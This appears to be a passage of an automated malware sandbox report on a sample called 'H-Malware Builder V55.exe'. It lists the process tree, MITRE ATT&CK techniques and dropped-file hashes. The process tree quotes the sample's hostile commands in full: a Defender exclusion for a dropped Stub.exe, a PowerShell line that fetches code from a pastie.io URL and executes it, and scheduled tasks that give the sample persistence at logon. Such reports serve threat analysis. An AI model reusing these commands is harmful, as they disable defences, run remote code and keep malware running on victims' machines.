- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
PID:1208 -
C:\Users\Admin\AppData\Local\Temp\H-Malware Builder V55.exe"C:\Users\Admin\AppData\Local\Temp\H-Malware Builder V55.exe"2⤵
- Drops startup file
- Suspicious use of WriteProcessMemory
PID:2204 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe'3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2112
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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe"3⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2688 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c powershell "irm pastie.io/raw/fgaazw | iex"4⤵
- Suspicious use of WriteProcessMemory
PID:2908 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell "irm pastie.io/raw/fgaazw | iex"5⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2508
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C:\Windows\system32\SCHTASKS.exe"SCHTASKS.exe" /create /tn "$77Stub.exe" /tr "'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe'" /sc onlogon /rl HIGHEST4⤵
- Scheduled Task/Job: Scheduled Task
PID:888
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C:\Windows\system32\SCHTASKS.exe"SCHTASKS.exe" /create /tn "$77Stub.exe" /tr "'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe'" /sc onlogon /rl HIGHEST4⤵
- Scheduled Task/Job: Scheduled Task
PID:2428
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C:\Users\Admin\AppData\Local\Temp\H-Malware Builder V5.exe"C:\Users\Admin\AppData\Local\Temp\H-Malware Builder V5.exe"3⤵
- Executes dropped EXE
PID:2724 -
C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -u -p 2724 -s 6124⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2076
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C:\Windows\explorer.exe"C:\Windows\explorer.exe"2⤵PID:1340
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C:\Users\Admin\AppData\Local\Temp\H-Malware Builder V5.exe"C:\Users\Admin\AppData\Local\Temp\H-Malware Builder V5.exe"2⤵
- Executes dropped EXE
PID:2744 -
C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -u -p 2744 -s 6083⤵PID:1380
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C:\Windows\system32\conhost.exe\??\C:\Windows\system32\conhost.exe "1002798931720616156732085128795249501115081047-883548370-974650014-103095160"1⤵
- Suspicious use of SetWindowsHookEx
PID:1492
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C:\Windows\system32\conhost.exe\??\C:\Windows\system32\conhost.exe "257116797149937901-386633536-478743502-195755804474839165-1415996090840215536"1⤵PID:1692
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C:\Windows\system32\conhost.exe\??\C:\Windows\system32\conhost.exe "-664041943-424705135257034721-1222114912744097519-5368627732001882334-562850455"1⤵PID:1668
Network
MITRE ATT&CK Enterprise v15
Execution
Command and Scripting Interpreter
1PowerShell
1Scheduled Task/Job
1Scheduled Task
1Persistence
Create or Modify System Process
1Windows Service
1Scheduled Task/Job
1Scheduled Task
1Replay Monitor
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Downloads
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Filesize
611KB
MD5515c515dc79e543c37bbfa3726e4eedb
SHA126204367d2fb407d04696e0b824472ae37a7792f
SHA2561ff13dcc9b8d8ff1117a56ea10fdbdc41702c69b0031ebc23ae3978f673c9d31
SHA5126910bccfc9933a29ef7a11cb09acc89c13f81f23163a62e6ef6cfb01b8819184d052fcacec9ea1005dd3318f3385353d5813078f25076203bae45abd88b29d23
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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\NIKF5OQ8454MRMKAQCGD.temp
Filesize7KB
MD55b70f071cfce1c9734bd4329e336e372
SHA19b0776e9590177f1fa320f0f86579f7ff5e7c173
SHA2567aa791311d0c1981ce505ddea0daf34e81d41dc94c16b0714876c87ac6b8fca4
SHA512280507e38039283556764453f2e2a98e6f6063fcceb47859f86128b251290b101066443495d25a625193946922a4a4d9f619d4787e4a9ee78b40bffb0632e8aa
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Filesize
290KB
MD5cc63633edfcc147cbaed1959b03d8730
SHA1df7a250eba6ee1767b09f7923bfd735635deb9e8
SHA256e699d9e9a81e9de82ce7ed645ef2a92ed6231e32cbc18a7e9ddff5c82623d417
SHA512a584893714d46c6bdf4cc0a097b5f088a9aa49eea07b181745ca9b351b570c8ac3487bfe53a8a97213f5d8a7f71dbf4070ff92eab58b2ff7a4d0e784e17d02d4
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Filesize
145KB
MD519c7052de3b7281b4c1c6bfbb543c5dc
SHA1d2e12081a14c1069c89f2cee7357a559c27786e7
SHA25614ed6cb3198e80964cbc687a60aed24fb68d1bbd7588f983dc1fc6ae63514b4a
SHA512289ca791909882c857014bd24e777fa84b533896508b562051b529d4c27e0d98bc41c801c6384b382f5dc0fa584dc8f713939c636543b0a5cf5ea2b396300f83
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Filesize
154KB
MD5f0ecfbfa3e3e59fd02197018f7e9cb84
SHA1961e9367a4ef3a189466c0a0a186faf8958bdbc4
SHA256cfa293532a1b865b95093437d82bf8b682132aa335957f0c6d95edfbcc372324
SHA512116e648cb3b591a6a94da5ef11234778924a2ff9e0b3d7f6f00310d8a58914d12f5ee1b63c2f88701bb00538ad0e42ae2561575333c5a1d63bb8c86863ac6294
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Filesize
145KB
MD5ce233fa5dc5adcb87a5185617a0ff6ac
SHA12e2747284b1204d3ab08733a29fdbabdf8dc55b9
SHA25668d4de5e72cfd117151c44dd6ec74cf46fafd6c51357895d3025d7dac570ce31
SHA5121e9c8e7f12d7c87b4faa0d587a8b374e491cd44f23e13fdb64bde3bc6bf3f2a2d3aba5444a13b199a19737a8170ee8d4ead17a883fbaee66b8b32b35b7577fc2
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Filesize
142KB
MD5d73172c6cb697755f87cd047c474cf91
SHA1abc5c7194abe32885a170ca666b7cce8251ac1d6
SHA2569de801eebbe32699630f74082c9adea15069acd5afb138c9ecd5d4904e3cdc57
SHA5127c9e4126bed6bc94a211281eed45cee30452519f125b82b143f78da32a3aac72d94d31757e1da22fb2f8a25099ffddec992e2c60987efb9da9b7a17831eafdf6
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Filesize
114KB
MD51f998386566e5f9b7f11cc79254d1820
SHA1e1da5fe1f305099b94de565d06bc6f36c6794481
SHA2561665d97fb8786b94745295feb616a30c27af84e8a5e1d25cd1bcaf70723040ea
SHA512a7c9702dd5833f4d6d27ce293efb9507948a3b05db350fc9909af6a48bd649c7578f856b4d64d87df451d0efbe202c62da7fffcac03b3fe72c7caaea553de75f
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Filesize
680KB
MD5b69ab3aeddb720d6ef8c05ff88c23b38
SHA1d830c2155159656ed1806c7c66cae2a54a2441fa
SHA25624c81302014118e07ed97eaac0819ecf191e0cc3d69c02b16ecda60ac4718625
SHA5124c7a99d45fb6e90c206439dcdd7cd198870ea5397a6584bb666eed53a8dc36faaac0b9cfc786a3ab4ecbbecc3a4ddd91560246d83b3319f2e37c1ed4bdbec32d
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Filesize
646KB
MD5aecab86cc5c705d7a036cba758c1d7b0
SHA1e88cf81fd282d91c7fc0efae13c13c55f4857b5e
SHA2569bab92e274fcc0af88a7fdd143c9045b9d3a13cac2c00b63f00b320128dcc066
SHA512e0aa8da41373fc64d0e3dc86c9e92a9dd5232f6bcae42dfe6f79012d7e780de85511a9ec6941cb39476632972573a18063d3ecd8b059b1d008d34f585d9edbe8
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Filesize
727KB
MD57d0bac4e796872daa3f6dc82c57f4ca8
SHA1b4f6bbe08fa8cd0784a94ac442ff937a3d3eea0a
SHA256ce2ef9fc248965f1408d4b7a1e6db67494ba07a7bbdfa810418b30be66ad5879
SHA512145a0e8543e0d79fe1a5ce268d710c807834a05da1e948f84d6a1818171cd4ef077ea44ba1fe439b07b095721e0109cbf7e4cfd7b57519ee44d9fd9fe1169a3e
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Filesize
727KB
MD55f684ce126de17a7d4433ed2494c5ca9
SHA1ce1a30a477daa1bac2ec358ce58731429eafe911
SHA2562e2ba0c47e71991d646ec380cde47f44318d695e6f3f56ec095955a129af1c2c
SHA5124d0c2669b5002da14d44c21dc2f521fb37b6b41b61bca7b2a9af7c03f616dda9ca825f79a81d3401af626a90017654f9221a6ccc83010ff73de71967fc2f3f5b
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Filesize
722KB
MD54623482c106cf6cc1bac198f31787b65
SHA15abb0decf7b42ef5daf7db012a742311932f6dad
SHA256eceda45aedbf6454b79f010c891bead3844d43189972f6beeb5ccddb13cc0349
SHA512afecefcec652856dd8b4275f11d75a68a582337b682309c4b61fd26ed7038b92e6b9aa72c1bfc350ce2caf5e357098b54eb1e448a4392960f9f82e01c447669f
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Filesize
406KB
MD554c674d19c0ff72816402f66f6c3d37c
SHA12dcc0269545a213648d59dc84916d9ec2d62a138
SHA256646d4ea2f0670691aa5b998c26626ede7623886ed3ac9bc9679018f85e584bb5
SHA5124d451e9bef2c451cb9e86c7f4d705be65787c88df5281da94012bfbe5af496718ec3e48099ec3dff1d06fee7133293f10d649866fe59daa7951aebe2e5e67c1f
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Filesize
3KB
MD5b133a676d139032a27de3d9619e70091
SHA11248aa89938a13640252a79113930ede2f26f1fa
SHA256ae2b6236d3eeb4822835714ae9444e5dcd21bc60f7a909f2962c43bc743c7b15
SHA512c6b99e13d854ce7a6874497473614ee4bd81c490802783db1349ab851cd80d1dc06df8c1f6e434aba873a5bbf6125cc64104709064e19a9dc1c66dcde3f898f5
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Filesize
27KB
MD546d08e3a55f007c523ac64dce6dcf478
SHA162edf88697e98d43f32090a2197bead7e7244245
SHA2565b15b1fc32713447c3fbc952a0fb02f1fd78c6f9ac69087bdb240625b0282614
SHA512b1f42e70c0ba866a9ed34eb531dbcbae1a659d7349c1e1a14b18b9e23d8cbd302d8509c6d3a28bc7509dd92e83bcb400201fb5d5a70f613421d81fe649d02e42